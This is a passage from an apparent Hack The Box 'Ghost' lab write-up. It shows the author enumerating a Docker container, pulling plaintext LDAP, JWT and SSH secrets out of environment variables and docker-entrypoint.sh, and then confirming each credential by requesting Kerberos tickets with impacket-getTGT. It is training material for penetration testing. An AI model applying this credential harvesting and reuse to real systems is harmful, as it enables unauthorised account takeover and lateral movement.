Docker Container
root@621de11273cb:/# file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6101dbf7496e744703ecab8c33c2cc348805f7f, for GNU/Linux 3.2.0, stripped
Linux 621de11273cb 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Debian GNU/Linux 12 (bookworm)
5.15.0-113-generic
Environment Variables
root@621de11273cb:/# env
DATABASE_URL=./database.sqlite
HOSTNAME=621de11273cb
PWD=/
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm-256color
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=2
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env
OLDPWD=/root
Alongside the DEV_INTRANET_KEY
attribute, there is also JWT_SECRET
;*xopkAGbLyg9bK_A
Additionally, there is a CLEARTEXT credential of the intranet_principal
account; He!KA9oKVT3rL99j
Validation for intranet_principal
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ impacket-getTGT GHOST.HTB/intranet_principal@dc01.ghost.htb -dc-ip $IP
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password: He!KA9oKVT3rL99j
[*] Saving ticket in intranet_principal@dc01.ghost.htb.ccache
Validated
TGT generated for the intranet_principal
account
docker-entrypoint.sh
root@621de11273cb:/# ll
ll
total 80K
4.0K drwxrwxrwt 1 root root 4.0K Jul 15 21:45 tmp
0 drwxr-xr-x 5 root root 340 Jul 15 17:18 dev
0 dr-xr-xr-x 13 root root 0 Jul 15 17:18 sys
0 dr-xr-xr-x 202 root root 0 Jul 15 17:18 proc
4.0K drwx------ 1 root root 4.0K Jul 5 15:17 root
4.0K drwxr-xr-x 1 root root 4.0K Jul 5 15:17 .
4.0K drwxr-xr-x 1 root root 4.0K Jul 5 15:17 ..
0 -rwxr-xr-x 1 root root 0 Jul 5 15:17 .dockerenv
4.0K drwxr-xr-x 1 root root 4.0K Jul 5 15:17 etc
8.0K drwxr-xr-x 1 root root 4.0K Jul 5 15:15 app
8.0K drwxr-xr-x 1 root root 4.0K Jul 5 14:29 run
0 lrwxrwxrwx 1 root root 7 Jul 1 00:00 bin -> usr/bin
0 lrwxrwxrwx 1 root root 7 Jul 1 00:00 lib -> usr/lib
0 lrwxrwxrwx 1 root root 9 Jul 1 00:00 lib64 -> usr/lib64
4.0K drwxr-xr-x 2 root root 4.0K Jul 1 00:00 media
4.0K drwxr-xr-x 2 root root 4.0K Jul 1 00:00 mnt
4.0K drwxr-xr-x 2 root root 4.0K Jul 1 00:00 opt
0 lrwxrwxrwx 1 root root 8 Jul 1 00:00 sbin -> usr/sbin
4.0K drwxr-xr-x 2 root root 4.0K Jul 1 00:00 srv
8.0K drwxr-xr-x 1 root root 4.0K Jul 1 00:00 usr
8.0K drwxr-xr-x 1 root root 4.0K Jul 1 00:00 var
4.0K drwxr-xr-x 2 root root 4.0K Mar 29 17:20 boot
4.0K drwxr-xr-x 2 root root 4.0K Mar 29 17:20 home
4.0K -rwxr-xr-x 1 root root 327 Feb 1 08:57 docker-entrypoint.sh
There is an interesting file at the system root; docker-entrypoint.sh
root@621de11273cb:/# cat docker-entrypoint.sh
#!/bin/bash
mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/h:%%p\n ControlPersist yes' > /root/.ssh/config
sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation exit
exec /app/ghost_intranet
The docker-entrypoint.sh
file contains the CLEARTEXT SSH credential of the florence.ramirez
user; uxLmt*udNc6t3HrF
Validation for florence.ramirez
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ impacket-getTGT GHOST.HTB/florence.ramirez@dc01.ghost.htb -dc-ip $IP
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password: uxLmt*udNc6t3HrF
[*] Saving ticket in florence.ramirez@dc01.ghost.htb.ccache
Validated
TGT generated for the florence.ramirez
user